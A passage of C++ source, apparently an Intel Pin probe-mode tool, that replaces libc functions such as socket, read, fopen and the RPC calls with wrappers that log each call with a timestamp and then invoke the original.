OutFile << CurrentTime() << "mysleep called " << endl;
OutFile.flush();
int res = fptrsleep(__seconds);
return res;
}
int mysocket(int __domain, int __type, int __protocol)
{
OutFile << CurrentTime() << "mysocket called " << endl;
OutFile.flush();
int res = fptrsocket(__domain, __type, __protocol);
return res;
}
int myshutdown(int __fd, int __how)
{
OutFile << CurrentTime() << "myshutdown called " << endl;
OutFile.flush();
int res = fptrshutdown(__fd, __how);
return res;
}
int myselect(int __nfds, fd_set *__restrict __readfds,
fd_set *__restrict __writefds, fd_set *__restrict __exceptfds,
struct timeval *__restrict __timeout)
{
OutFile << CurrentTime() << "myselect called " << endl;
OutFile.flush();
int res = fptrselect(__nfds, __readfds, __writefds, __exceptfds, __timeout);
return res;
}
int mypoll(struct pollfd * __fds, nfds_t __nfds, int __timeout)
{
OutFile << CurrentTime() << "mypoll called " << endl;
OutFile.flush();
int res = fptrpoll(__fds, __nfds, __timeout);
return res;
}
int myaccept(int __fd, __SOCKADDR_ARG __addr,
socklen_t *__restrict __addr_len)
{
OutFile << CurrentTime() << "myaccept called " << endl;
OutFile.flush();
int res = fptraccept(__fd, __addr, __addr_len);
return res;
}
int myconnect(int __fd, __CONST_SOCKADDR_ARG __addr, socklen_t __len)
{
OutFile << CurrentTime() << "myconnect called " << endl;
OutFile.flush();
int res = fptrconnect(__fd, __addr, __len);
return res;
}
ssize_t myrecv(int __fd, VOID_PTR __buf, size_t __n, int __flags)
{
OutFile << CurrentTime() << "myrecv called " << endl;
OutFile.flush();
ssize_t res = fptrrecv(__fd, __buf, __n, __flags);
return res;
}
ssize_t myrecvfrom(int __fd, VOID_PTR __restrict __buf, size_t __n, int __flags,
__SOCKADDR_ARG __addr, socklen_t *__restrict __addr_len)
{
OutFile << CurrentTime() << "myrecvfrom called " << endl;
OutFile.flush();
ssize_t res = fptrrecvfrom(__fd, __buf, __n, __flags, __addr, __addr_len);
return res;
}
ssize_t mysend(int __fd, __const VOID_PTR __buf, size_t __n, int __flags)
{
OutFile << CurrentTime() << "mysend called " << endl;
OutFile.flush();
ssize_t res = fptrsend(__fd, __buf, __n, __flags);
return res;
}
wint_t mygetwc(__FILE * __stream)
{
OutFile << CurrentTime() << "mygetwc called " << endl;
OutFile.flush();
wint_t res = fptrgetwc(__stream);
return res;
}
void myexit(int __status)
{
OutFile << CurrentTime() << "myexit called " << endl;
OutFile.flush();
fptrexit(__status);
}
int mysetitimer(__itimer_which_t __which, __const
struct itimerval *__restrict __new,
struct itimerval *__restrict __old)
{
OutFile << CurrentTime() << "mysetitimer called " << endl;
OutFile.flush();
int res = fptrsetitimer(__which, __new, __old);
return res;
}
int mysigpending(sigset_t * __set)
{
OutFile << CurrentTime() << "mysigpending called " << endl;
OutFile.flush();
int res = fptrsigpending(__set);
return res;
}
__sighandler_t mysignal(int __sig, __sighandler_t __handler)
{
OutFile << CurrentTime() << "mysignal called " << endl;
OutFile.flush();
__sighandler_t res = fptrsignal(__sig, __handler);
return res;
}
void myabort()
{
OutFile << CurrentTime() << "myabort called " << endl;
OutFile.flush();
fptrabort();
}
int myclose(int __fd)
{
OutFile << CurrentTime() << "myclose called " << endl;
OutFile.flush();
int res = fptrclose(__fd);
return res;
}
ssize_t mysendto(int __fd, __const VOID_PTR __buf, size_t __n, int __flags,
__CONST_SOCKADDR_ARG __addr, socklen_t __addr_len)
{
OutFile << CurrentTime() << "mysendto called " << endl;
OutFile.flush();
ssize_t res = fptrsendto(__fd, __buf, __n, __flags, __addr, __addr_len);
return res;
}
int my_IO_getc(FILE * __stream)
{
OutFile << CurrentTime() << "my_IO_getc called " << endl;
OutFile.flush();
int res = fptr_IO_getc(__stream);
return res;
}
int mygetchar()
{
OutFile << CurrentTime() << "mygetchar called " << endl;
OutFile.flush();
int res = fptrgetchar();
return res;
}
wint_t mygetwchar()
{
OutFile << CurrentTime() << "mygetwchar called " << endl;
OutFile.flush();
wint_t res = fptrgetwchar();
return res;
}
CHAR_PTR mygets(CHAR_PTR __s)
{
OutFile << CurrentTime() << "mygets called " << endl;
OutFile.flush();
CHAR_PTR res = fptrgets(__s);
return res;
}
CHAR_PTR myfgets(CHAR_PTR __restrict __s, int __n, FILE *__restrict __stream)
{
OutFile << CurrentTime() << "myfgets called " << endl;
OutFile.flush();
CHAR_PTR res = fptrfgets(__s, __n, __stream);
return res;
}
wint_t myfgetwc(__FILE * __stream)
{
OutFile << CurrentTime() << "myfgetwc called " << endl;
OutFile.flush();
wint_t res = fptrfgetwc(__stream);
return res;
}
size_t myfread(VOID_PTR __restrict __ptr, size_t __size, size_t __n,
FILE *__restrict __stream)
{
OutFile << CurrentTime() << "myfread called " << endl;
OutFile.flush();
size_t res = fptrfread(__ptr, __size, __n, __stream);
return res;
}
size_t myfwrite(__const VOID_PTR __restrict __ptr, size_t __size, size_t __n,
FILE *__restrict __s)
{
OutFile << CurrentTime() << "myfwrite called " << endl;
OutFile.flush();
size_t res = fptrfwrite(__ptr, __size, __n, __s);
return res;
}
int myopen(__const CHAR_PTR __file, int __flags, mode_t __mode)
{
OutFile << CurrentTime() << "myopen called " << endl;
OutFile.flush();
int res = fptropen(__file, __flags, __mode);
return res;
}
int mygetw(FILE * __stream)
{
OutFile << CurrentTime() << "mygetw called " << endl;
OutFile.flush();
int res = fptrgetw(__stream);
return res;
}
void myfgetc(__FILE * __stream)
{
OutFile << CurrentTime() << "myfgetc called " << endl;
OutFile.flush();
fptrfgetc(__stream);
}
wchar_t * myfgetws(wchar_t *__restrict __ws, int __n,
__FILE *__restrict __stream)
{
OutFile << CurrentTime() << "myfgetws called " << endl;
OutFile.flush();
wchar_t * res = fptrfgetws(__ws, __n, __stream);
return res;
}
int mypipe(int* __pipedes)
{
OutFile << CurrentTime() << "mypipe called " << endl;
OutFile.flush();
int res = fptrpipe(__pipedes);
return res;
}
ssize_t myread(int __fd, VOID_PTR __buf, size_t __nbytes)
{
OutFile << CurrentTime() << "myread called " << endl;
OutFile.flush();
ssize_t res = fptrread(__fd, __buf, __nbytes);
return res;
}
ssize_t mywrite(int __fd, __const VOID_PTR __buf, size_t __n)
{
OutFile << CurrentTime() << "mywrite called " << endl;
OutFile.flush();
ssize_t res = fptrwrite(__fd, __buf, __n);
return res;
}
FILE * myfopen(__const CHAR_PTR __restrict __filename,
__const CHAR_PTR __restrict __modes)
{
OutFile << CurrentTime() << "myfopen called " << endl;
OutFile.flush();
FILE * res = fptrfopen(__filename, __modes);
return res;
}
FILE * myfdopen(int __fd, __const CHAR_PTR __modes)
{
OutFile << CurrentTime() << "myfdopen called " << endl;
OutFile.flush();
FILE * res = fptrfdopen(__fd, __modes);
return res;
}
int mycallrpc(__const CHAR_PTR __host, u_long __prognum, u_long __versnum,
u_long __procnum, xdrproc_t __inproc, __const CHAR_PTR __in,
xdrproc_t __outproc, CHAR_PTR __out)
{
OutFile << CurrentTime() << "mycallrpc called " << endl;
OutFile.flush();
int res = fptrcallrpc(__host, __prognum, __versnum, __procnum, __inproc,
__in, __outproc, __out);
return res;
}
enum clnt_stat myclnt_broadcast(u_long __prog, u_long __vers, u_long __proc,
xdrproc_t __xargs, caddr_t __argsp, xdrproc_t __xresults,
caddr_t __resultsp, resultproc_t __eachresult)
{
OutFile << CurrentTime() << "myclnt_broadcast called " << endl;
OutFile.flush();
enum clnt_stat res = fptrclnt_broadcast(__prog, __vers, __proc, __xargs,
__argsp, __xresults, __resultsp, __eachresult);
return res;
}
CLIENT * myclntudp_create(struct sockaddr_in * __raddr, u_long __program,
u_long __version, struct timeval __wait_resend, INT_PTR __sockp)
{
OutFile << CurrentTime() << "myclntudp_create called " << endl;
OutFile.flush();
CLIENT * res = fptrclntudp_create(__raddr, __program, __version,
__wait_resend, __sockp);
return res;
}
CLIENT * myclntudp_bufcreate(struct sockaddr_in * __raddr, u_long __program,
u_long __version, struct timeval __wait_resend, INT_PTR __sockp,
u_int __sendsz, u_int __recvsz)
{
OutFile << CurrentTime() << "myclntudp_bufcreate called " << endl;
OutFile.flush();
CLIENT * res = fptrclntudp_bufcreate(__raddr, __program, __version,
__wait_resend, __sockp, __sendsz, __recvsz);
return res;
}
struct pmaplist * mypmap_getmaps(struct sockaddr_in * __address)
{
OutFile << CurrentTime() << "mypmap_getmaps called " << endl;
OutFile.flush();
struct pmaplist * res = fptrpmap_getmaps(__address);
return res;
}
u_short mypmap_getport(struct sockaddr_in * __address, u_long __program,
u_long __version, u_int __protocol)
{
OutFile << CurrentTime() << "mypmap_getport called " << endl;
OutFile.flush();
u_short res = fptrpmap_getport(__address, __program, __version, __protocol);
return res;
}
enum clnt_stat mypmap_rmtcall(struct sockaddr_in * __addr, u_long __prog,
u_long __vers, u_long __proc, xdrproc_t __xdrargs, caddr_t __argsp,
xdrproc_t __xdrres, caddr_t __resp, struct timeval __tout,
u_long * __port_ptr)
{
OutFile << CurrentTime() << "mypmap_rmtcall called " << endl;
OutFile.flush();
enum clnt_stat res = fptrpmap_rmtcall(__addr, __prog, __vers, __proc,
__xdrargs, __argsp, __xdrres, __resp, __tout, __port_ptr);
return res;
}
bool_t mypmap_set(u_long __program, u_long __vers, int __protocol, u_short __port)
{
OutFile << CurrentTime() << "mypmap_set called " << endl;
OutFile.flush();
bool_t res = fptrpmap_set(__program, __vers, __protocol, __port);
return res;
}
CLIENT * myclntraw_create(u_long __prog, u_long __vers)
{
OutFile << CurrentTime() << "myclntraw_create called " << endl;
OutFile.flush();
CLIENT * res = fptrclntraw_create(__prog, __vers);
return res;
}
void mysvc_run()
{
OutFile << CurrentTime() << "mysvc_run called " << endl;
OutFile.flush();
fptrsvc_run();
}
bool_t mysvc_sendreply(SVCXPRT * xprt, xdrproc_t __xdr_results,
caddr_t __xdr_location)
{
OutFile << CurrentTime() << "mysvc_sendreply called " << endl;
OutFile.flush();
bool_t res = fptrsvc_sendreply(xprt, __xdr_results, __xdr_location);
return res;
}
SVCXPRT * mysvcraw_create()
{
OutFile << CurrentTime() << "mysvcraw_create called " << endl;
OutFile.flush();
SVCXPRT * res = fptrsvcraw_create();
return res;
}
SVCXPRT * mysvctcp_create(int __sock, u_int __sendsize, u_int __recvsize)
{
OutFile << CurrentTime() << "mypmap_rmtcall called " << endl;
OutFile.flush();
SVCXPRT * res = fptrsvctcp_create(__sock, __sendsize, __recvsize);
return res;
}
SVCXPRT * mysvcudp_bufcreate(int __sock, u_int __sendsz, u_int __recvsz)
{
OutFile << CurrentTime() << "mysvcudp_bufcreate called " << endl;
OutFile.flush();
SVCXPRT * res = fptrsvcudp_bufcreate(__sock, __sendsz, __recvsz);
return res;
}
SVCXPRT * mysvcudp_create(int __sock)
{
OutFile << CurrentTime() << "mysvcudp_create called " << endl;
OutFile.flush();
SVCXPRT * res = fptrsvcudp_create(__sock);
return res;
}
void my_exit(int __status)
{
OutFile << CurrentTime() << "my_exit called " << endl;
OutFile.flush();
fptr_exit(__status);
}
int my_nanosleep(const struct timespec *__rqtp, struct timespec *__rmtp)
{
OutFile << CurrentTime() << "my_nanosleep called " << endl;
OutFile.flush();
int res = fptrnanosleep(__rqtp, __rmtp);
return res;
}
int mysigprocmask(int __how, __const sigset_t *__restrict __set,
sigset_t *__restrict __oset)
{
OutFile << CurrentTime() << "mysigprocmask called " << endl;
OutFile.flush();
int res = fptrsigprocmask(__how, __set, __oset);
return res;
}
int mypselect(int __nfds, fd_set *__restrict __readfds,
fd_set *__restrict __writefds, fd_set *__restrict __exceptfds,
const struct timespec *__restrict __timeout,
const __sigset_t *__restrict __sigmask)
{
OutFile << CurrentTime() << "mypselect called " << endl;
OutFile.flush();
int res = fptrpselect(__nfds, __readfds, __writefds, __exceptfds, __timeout,
__sigmask);
return res;
}
pid_t mywait(INT_PTR __status)
{
OutFile << CurrentTime() << "mywait called " << endl;
OutFile.flush();
int res = fptrwait(__status);
return res;
}
int myfclose(FILE * __stream)
{
OutFile << CurrentTime() << "myfclose called " << endl;
OutFile.flush();
int res = fptrfclose(__stream);
return res;
}
int myioctl(int __d, int __request, CHAR_PTR __argp)
{
OutFile << CurrentTime() << "myioctl called " << endl;
OutFile.flush();
int res = fptrioctl(__d, __request, __argp);
return res;
}
int myfcntl(int __fd, int __cmd, VOID_PTR __argp)
{
OutFile << CurrentTime() << "myfcntl called " << endl;
OutFile.flush();
int res = fptrfcntl(__fd, __cmd, __argp);
return res;
}
VOID_PTR my__libc_dlopen_mode(const CHAR_PTR __name, int __mode)
{
OutFile << CurrentTime() << "my__libc_dlopen_mode called " << endl;
OutFile.flush();
VOID_PTR res = fptr__libc_dlopen_mode(__name, __mode);
return res;
}
INT_PTR my__errno_location(void)
{
OutFile << CurrentTime() << "my__errno_location called " << endl;
OutFile.flush();
INT_PTR res = fptr__errno_location();
return res;
}
int mysyscall(int __number, long int __arg1, long int __arg2, long int __arg3,
long int __arg4, long int __arg5, long int __arg6, long int __arg7)
{
OutFile << CurrentTime() << "mysyscall called " << endl;
OutFile.flush();
int res = fptrsyscall(__number, __arg1, __arg2, __arg3, __arg4, __arg5,
__arg6, __arg7);
return res;
}
int mysigaction(int __sig, __const struct sigaction *__restrict __act,
struct sigaction *__restrict __oact)
{
OutFile << CurrentTime() << "mysigaction called " << endl;
OutFile.flush();
int res = fptrsigaction(__sig, __act, __oact);
return res;
}
/* ===================================================================== */
/* Instrumnetation functions */
/* ===================================================================== */
// Image load callback - inserts the probes.
void ImgLoad(IMG img, VOID_PTR v) {
// Called every time a new image is loaded
if ((IMG_Name(img).find("libc.so") != string::npos)
|| (IMG_Name(img).find("LIBC.SO") != string::npos)
|| (IMG_Name(img).find("LIBC.so") != string::npos))
{
RTN rtnsleep = RTN_FindByName(img, "sleep");
if (RTN_Valid(rtnsleep) && RTN_IsSafeForProbedReplacement(rtnsleep))
{
OutFile << CurrentTime() << "Inserting probe for sleep at "
<< RTN_Address(rtnsleep) << endl;
OutFile.flush();
AFUNPTR fptr = (RTN_ReplaceProbed(rtnsleep, AFUNPTR(mysleep)));
fptrsleep = (int (*)(unsigned int))fptr;
}
RTN rtnsocket = RTN_FindByName(img, "socket");
if (RTN_Valid(rtnsocket) && RTN_IsSafeForProbedReplacement(rtnsocket))
{
OutFile << CurrentTime() << "Inserting probe for socket at "
<< RTN_Address(rtnsocket) << endl;
OutFile.flush();
AFUNPTR fptr = (RTN_ReplaceProbed(rtnsocket, AFUNPTR(mysocket)));
fptrsocket = (int (*)(int, int, int))fptr;
}
RTN rtnshutdown = RTN_FindByName(img, "shutdown");
if (RTN_Valid(rtnshutdown)
&& RTN_IsSafeForProbedReplacement(rtnshutdown))
{
OutFile << CurrentTime() << "Inserting probe for shutdown at " << RTN_Address(rtnshutdown) << endl;
OutFile.flush();
AFUNPTR fptr = (RTN_ReplaceProbed(rtnshutdown, AFUNPTR(myshutdown)));
fptrshutdown = (int (*)(int, int))fptr;
}
RTN rtnselect = RTN_FindByName(img, "select");
if (RTN_Valid(rtnselect) && RTN_IsSafeForProbedReplacement(rtnselect))
{
OutFile << CurrentTime() << "Inserting probe for select at " << RTN_Address(rtnselect) << endl;
OutFile.flush();
AFUNPTR fptr = (RTN_ReplaceProbed(rtnselect, AFUNPTR(myselect)));
fptrselect = (int (*)(int, fd_set *, fd_set *, fd_set *, struct timeval *))fptr;
}
RTN rtnpoll = RTN_FindByName(img, "poll");
if (RTN_Valid(rtnpoll) && RTN_IsSafeForProbedReplacement(rtnpoll))
{
OutFile << CurrentTime() << "Inserting probe for poll at " << RTN_Address(rtnpoll) << endl;
OutFile.flush();
AFUNPTR fptr = (RTN_ReplaceProbed(rtnpoll, AFUNPTR(mypoll)));
fptrpoll = (int (*)(struct pollfd *, nfds_t, int))fptr;
}
RTN rtnpselect = RTN_FindByName(img, "pselect");
if (RTN_Valid(rtnpselect)
&& RTN_IsSafeForProbedReplacement(rtnpselect))
{
OutFile << CurrentTime() << "Inserting probe for pselect at "
<< RTN_Address(rtnpselect) << endl;
OutFile.flush();
AFUNPTR fptr = (RTN_ReplaceProbed(rtnpselect, AFUNPTR(mypselect)));
fptrpselect = (int (*)(int, fd_set *, fd_set *, fd_set *,
const struct timespec *, const __sigset_t *))fptr;
}
RTN rtnaccept = RTN_FindByName(img, "accept");
if (RTN_Valid(rtnaccept) && RTN_IsSafeForProbedReplacement(rtnaccept))
{
OutFile << CurrentTime() << "Inserting probe for accept at " << RTN_Address(rtnaccept) << endl;
OutFile.flush();
AFUNPTR fptr = (RTN_ReplaceProbed(rtnaccept, AFUNPTR(myaccept)));
fptraccept = (int (*)(int, __SOCKADDR_ARG, socklen_t *__restrict))fptr;
}
RTN rtnconnect = RTN_FindByName(img, "connect");
if (RTN_Valid(rtnconnect) && RTN_IsSafeForProbedReplacement(rtnconnect))
{
OutFile << CurrentTime() << "Inserting probe for connect at " << RTN_Address(rtnconnect) << endl;
OutFile.flush();
AFUNPTR fptr = (RTN_ReplaceProbed(rtnconnect, AFUNPTR(myconnect)));
fptrconnect = (int (*)(int, __CONST_SOCKADDR_ARG, socklen_t))fptr;
}
RTN rtnrecv = RTN_FindByName(img, "recv");
if (RTN_Valid(rtnrecv) && RTN_IsSafeForProbedReplacement(rtnrecv))
{
OutFile << CurrentTime() << "Inserting probe for recv at " << RTN_Address(rtnrecv) << endl;
OutFile.flush();
AFUNPTR fptr = (RTN_ReplaceProbed(rtnrecv, AFUNPTR(myrecv)));
fptrrecv = (ssize_t (*)(int, VOID_PTR , size_t, int))fptr;
}
RTN rtnrecvfrom = RTN_FindByName(img, "recvfrom");
if (RTN_Valid(rtnrecvfrom) && RTN_IsSafeForProbedReplacement(rtnrecvfrom))
{
OutFile << CurrentTime() << "Inserting probe for recvfrom at " << RTN_Address(rtnrecvfrom) << endl;
OutFile.flush();
AFUNPTR fptr = (RTN_ReplaceProbed(rtnrecvfrom, AFUNPTR(myrecvfrom)));
fptrrecvfrom = (ssize_t (*)(int, VOID_PTR , size_t, int, __SOCKADDR_ARG, socklen_t *))fptr;
}
RTN rtnsend = RTN_FindByName(img, "send");
if (RTN_Valid(rtnsend) && RTN_IsSafeForProbedReplacement(rtnsend))
{
OutFile << CurrentTime() << "Inserting probe for send at " << RTN_Address(rtnsend) << endl;
OutFile.flush();
AFUNPTR fptr = (RTN_ReplaceProbed(rtnsend, AFUNPTR(mysend)));
fptrsend = (ssize_t (*)(int, __const VOID_PTR, size_t, int))fptr;
}
RTN rtnsendto = RTN_FindByName(img, "sendto");
if (RTN_Valid(rtnsendto) && RTN_IsSafeForProbedReplacement(rtnsendto))
{
OutFile << CurrentTime() << "Inserting probe for sendto at " << RTN_Address(rtnsendto) << endl;
OutFile.flush();
AFUNPTR fptr = (RTN_ReplaceProbed(rtnsendto, AFUNPTR(mysendto)));
fptrsendto = (ssize_t (*)(int, __const VOID_PTR , size_t, int, __CONST_SOCKADDR_ARG, socklen_t))fptr;
}
RTN rtngetwc = RTN_FindByName(img, "getwc");
if (RTN_Valid(rtngetwc) && RTN_IsSafeForProbedReplacement(rtngetwc))
{
OutFile << CurrentTime() << "Inserting probe for getwc at " << RTN_Address(rtngetwc) << endl;
OutFile.flush();
AFUNPTR fptr = (RTN_ReplaceProbed(rtngetwc, AFUNPTR(mygetwc)));
fptrgetwc = (wint_t (*)(__FILE *))fptr;
}
RTN rtngetw = RTN_FindByName(img, "getw");
if (RTN_Valid(rtngetw) && RTN_IsSafeForProbedReplacement(rtngetw))
{
OutFile << CurrentTime() << "Inserting probe for getw at " << RTN_Address(rtngetw) << endl;
OutFile.flush();
AFUNPTR fptr = (RTN_ReplaceProbed(rtngetw, AFUNPTR(mygetw)));
fptrgetw = (int (*)(FILE *))fptr;
}
RTN rtn_IO_getc = RTN_FindByName(img, "_IO_getc");
if (RTN_Valid(rtn_IO_getc)
&& RTN_IsSafeForProbedReplacement(rtn_IO_getc))
{
OutFile << CurrentTime() << "Inserting probe for _IO_getc at " << RTN_Address(rtn_IO_getc) << endl;
OutFile.flush();
AFUNPTR fptr = (RTN_ReplaceProbed(rtn_IO_getc, AFUNPTR(my_IO_getc)));
fptr_IO_getc = (int (*)(FILE *))fptr;
}
RTN rtngetchar = RTN_FindByName(img, "getchar");
if (RTN_Valid(rtngetchar) && RTN_IsSafeForProbedReplacement(rtngetchar))
{
OutFile << CurrentTime() << "Inserting probe for getchar at " << RTN_Address(rtngetchar) << endl;
OutFile.flush();
AFUNPTR fptr = (RTN_ReplaceProbed(rtngetchar, AFUNPTR(mygetchar)));
fptrgetchar = (int (*)())fptr;
}
RTN rtngetwchar = RTN_FindByName(img, "getwchar");
if (RTN_Valid(rtngetwchar) && RTN_IsSafeForProbedReplacement(rtngetwchar))
{
OutFile << CurrentTime() << "Inserting probe for getwchar at "
<< RTN_Address(rtngetwchar) << endl;
OutFile.flush();
AFUNPTR fptr = (RTN_ReplaceProbed(rtngetwchar, AFUNPTR(mygetwchar)));
fptrgetwchar = (wint_t (*)())fptr;
}
RTN rtngets = RTN_FindByName(img, "gets");
if (RTN_Valid(rtngets) && RTN_IsSafeForProbedReplacement(rtngets))
{
OutFile << CurrentTime() << "Inserting probe for gets at " << RTN_Address(rtngets) << endl;
OutFile.flush();
AFUNPTR fptr = (RTN_ReplaceProbed(rtngets, AFUNPTR(mygets)));
fptrgets = (CHAR_PTR (*)(CHAR_PTR ))fptr;
}
RTN rtnfgetc = RTN_FindByName(img, "fgetc");
if (RTN_Valid(rtnfgetc) && RTN_IsSafeForProbedReplacement(rtnfgetc))
{
OutFile << CurrentTime() << "Inserting probe for fgetc at " << RTN_Address(rtnfgetc) << endl;
OutFile.flush();
AFUNPTR fptr = (RTN_ReplaceProbed(rtnfgetc, AFUNPTR(myfgetc)));
fptrfgetc = (void (*)(__FILE *))fptr;
}
RTN rtnfgetwc = RTN_FindByName(img, "fgetwc");
if (RTN_Valid(rtnfgetwc) && RTN_IsSafeForProbedReplacement(rtnfgetwc))
{
OutFile << CurrentTime() << "Inserting probe for fgetwc at " << RTN_Address(rtnfgetwc) << endl;
OutFile.flush();
AFUNPTR fptr = (RTN_ReplaceProbed(rtnfgetwc, AFUNPTR(myfgetwc)));
fptrfgetwc = (wint_t (*)(__FILE *))fptr;
}
RTN rtnfgets = RTN_FindByName(img, "fgets");
if (RTN_Valid(rtnfgets) && RTN_IsSafeForProbedReplacement(rtnfgets))
{
OutFile << CurrentTime() << "Inserting probe for fgets at " << RTN_Address(rtnfgets) << endl;
OutFile.flush();
AFUNPTR fptr = (RTN_ReplaceProbed(rtnfgets, AFUNPTR(myfgets)));
fptrfgets = (CHAR_PTR (*)(CHAR_PTR __restrict, int,
FILE *__restrict))fptr;
}
RTN rtnfgetws = RTN_FindByName(img, "fgetws");
if (RTN_Valid(rtnfgetws) && RTN_IsSafeForProbedReplacement(rtnfgetws))
{
OutFile << CurrentTime() << "Inserting probe for fgetws at " << RTN_Address(rtnfgetws) << endl;
OutFile.flush();
AFUNPTR fptr = (RTN_ReplaceProbed(rtnfgetws, AFUNPTR(myfgetws)));
fptrfgetws = (wchar_t * (*)(wchar_t *, int, __FILE *))fptr;
}
RTN rtnfread = RTN_FindByName(img, "fread");
if (RTN_Valid(rtnfread) && RTN_IsSafeForProbedReplacement(rtnfread))
{
OutFile << CurrentTime() << "Inserting probe for fread at " << RTN_Address(rtnfread) << endl;
OutFile.flush();
AFUNPTR fptr = (RTN_ReplaceProbed(rtnfread, AFUNPTR(myfread)));
fptrfread = (size_t (*)(VOID_PTR , size_t, size_t, FILE *))fptr;
}
RTN rtnfwrite = RTN_FindByName(img, "fwrite");
if (RTN_Valid(rtnfwrite) && RTN_IsSafeForProbedReplacement(rtnfwrite))
{
OutFile << CurrentTime() << "Inserting probe for fwrite at " << RTN_Address(rtnfwrite) << endl;
OutFile.flush();
AFUNPTR fptr = (RTN_ReplaceProbed(rtnfwrite, AFUNPTR(myfwrite)));
fptrfwrite = (size_t (*)(__const VOID_PTR __restrict, size_t, size_t,
FILE *__restrict))fptr;
}
RTN rtnpipe = RTN_FindByName(img, "pipe");
if (RTN_Valid(rtnpipe) && RTN_IsSafeForProbedReplacement(rtnpipe))
{
OutFile << CurrentTime() << "Inserting probe for pipe at " << RTN_Address(rtnpipe) << endl;
OutFile.flush();
AFUNPTR fptr = (RTN_ReplaceProbed(rtnpipe, AFUNPTR(mypipe)));
fptrpipe = (int (*)(int[2]))fptr;
}
RTN rtnread = RTN_FindByName(img, "read");
if (RTN_Valid(rtnread) && RTN_IsSafeForProbedReplacement(rtnread))
{
OutFile << CurrentTime() << "Inserting probe for read at " << RTN_Address(rtnread) << endl;
OutFile.flush();
AFUNPTR fptr = (RTN_ReplaceProbed(rtnread, AFUNPTR(myread)));
fptrread = (ssize_t (*)(int, VOID_PTR , size_t))fptr;
}
RTN rtnwrite = RTN_FindByName(img, "write");
if (RTN_Valid(rtnwrite) && RTN_IsSafeForProbedReplacement(rtnwrite))
{
OutFile << CurrentTime() << "Inserting probe for write at " << RTN_Address(rtnwrite) << endl;
OutFile.flush();
AFUNPTR fptr = (RTN_ReplaceProbed(rtnwrite, AFUNPTR(mywrite)));
fptrwrite = (ssize_t (*)(int, __const VOID_PTR , size_t))fptr;
}
RTN rtnopen = RTN_FindByName(img, "open");
if (RTN_Valid(rtnopen) && RTN_IsSafeForProbedReplacement(rtnopen))
{
OutFile << CurrentTime() << "Inserting probe for open at " << RTN_Address(rtnopen) << endl;
OutFile.flush();
AFUNPTR fptr = (RTN_ReplaceProbed(rtnopen, AFUNPTR(myopen)));
fptropen = (int (*)(__const CHAR_PTR , int, mode_t))fptr;
}
RTN rtnfopen = RTN_FindByName(img, "fopen");
if (RTN_Valid(rtnfopen) && RTN_IsSafeForProbedReplacement(rtnfopen))
{
OutFile << CurrentTime() << "Inserting probe for fopen at " << RTN_Address(rtnfopen) << endl;
OutFile.flush();
AFUNPTR fptr = (RTN_ReplaceProbed(rtnfopen, AFUNPTR(myfopen)));
fptrfopen = (FILE * (*)(__const CHAR_PTR __restrict, __const CHAR_PTR __restrict))fptr;
}
RTN rtnfdopen = RTN_FindByName(img, "fdopen");
if (RTN_Valid(rtnfdopen) && RTN_IsSafeForProbedReplacement(rtnfdopen))
{
OutFile << CurrentTime() << "Inserting probe for fdopen at " << RTN_Address(rtnfdopen) << endl;
OutFile.flush();
AFUNPTR fptr = (RTN_ReplaceProbed(rtnfdopen, AFUNPTR(myfdopen)));
fptrfdopen = (FILE * (*)(int, __const CHAR_PTR ))fptr;
}
RTN rtnclose = RTN_FindByName(img, "close");
if (RTN_Valid(rtnclose) && RTN_IsSafeForProbedReplacement(rtnclose))
{
OutFile << CurrentTime() << "Inserting probe for close at " << RTN_Address(rtnclose) << endl;
OutFile.flush();
AFUNPTR fptr = (RTN_ReplaceProbed(rtnclose, AFUNPTR(myclose)));
fptrclose = (int (*)(int))fptr;
}
RTN rtnfclose = RTN_FindByName(img, "fclose");
if (RTN_Valid(rtnfclose) && RTN_IsSafeForProbedReplacement(rtnfclose))
{
OutFile << CurrentTime() << "Inserting probe for fclose at " << RTN_Address(rtnfclose) << endl;
OutFile.flush();
AFUNPTR fptr = (RTN_ReplaceProbed(rtnfclose, AFUNPTR(myfclose)));
fptrfclose = (int (*)(FILE *))fptr;
}
RTN rtncallrpc = RTN_FindByName(img, "callrpc");
if (RTN_Valid(rtncallrpc)&& RTN_IsSafeForProbedReplacement(rtncallrpc))
{
OutFile << CurrentTime() << "Inserting probe for callrpc at " << RTN_Address(rtncallrpc) << endl;
OutFile.flush();
AFUNPTR fptr = (RTN_ReplaceProbed(rtncallrpc, AFUNPTR(mycallrpc)));
fptrcallrpc = (int (*)(__const CHAR_PTR , u_long, u_long, u_long,
xdrproc_t, __const CHAR_PTR , xdrproc_t, CHAR_PTR ))fptr;
}
RTN rtnclnt_broadcast = RTN_FindByName(img, "clnt_broadcast");
if (RTN_Valid(rtnclnt_broadcast)
&& RTN_IsSafeForProbedReplacement(rtnclnt_broadcast))
{
OutFile << CurrentTime() << "Inserting probe for clnt_broadcast at " << RTN_Address(rtnclnt_broadcast) << endl;
OutFile.flush();
AFUNPTR fptr = (RTN_ReplaceProbed(rtnclnt_broadcast, AFUNPTR(myclnt_broadcast)));
fptrclnt_broadcast = (enum clnt_stat (*)(u_long, u_long, u_long,
xdrproc_t, caddr_t, xdrproc_t, caddr_t, resultproc_t))fptr;
}
RTN rtnclntudp_create = RTN_FindByName(img, "clntudp_create");
if (RTN_Valid(rtnclntudp_create)
&& RTN_IsSafeForProbedReplacement(rtnclntudp_create))
{
OutFile << CurrentTime() << "Inserting probe for clntudp_create at " << RTN_Address(rtnclntudp_create) << endl;
OutFile.flush();
AFUNPTR fptr = (RTN_ReplaceProbed(rtnclntudp_create, AFUNPTR(myclntudp_create)));
fptrclntudp_create = (CLIENT * (*)(struct sockaddr_in *, u_long,
u_long, struct timeval, INT_PTR ))fptr;
}
RTN rtnclntudp_bufcreate = RTN_FindByName(img, "clntudp_bufcreate");
if (RTN_Valid(rtnclntudp_bufcreate) && RTN_IsSafeForProbedReplacement(rtnclntudp_bufcreate))
{
OutFile << CurrentTime() << "Inserting probe for clntudp_bufcreate at " << RTN_Address(rtnclntudp_bufcreate) << endl;
OutFile.flush();
AFUNPTR fptr = (RTN_ReplaceProbed(rtnclntudp_bufcreate, AFUNPTR(myclntudp_bufcreate)));
fptrclntudp_bufcreate = (CLIENT * (*)(struct sockaddr_in *, u_long, u_long, struct timeval, INT_PTR , u_int, u_int))fptr;
}
RTN rtnpmap_getmaps = RTN_FindByName(img, "pmap_getmaps");
if (RTN_Valid(rtnpmap_getmaps) && RTN_IsSafeForProbedReplacement(rtnpmap_getmaps))
{
OutFile << CurrentTime() << "Inserting probe for pmap_getmaps at " << RTN_Address(rtnpmap_getmaps) << endl;
OutFile.flush();
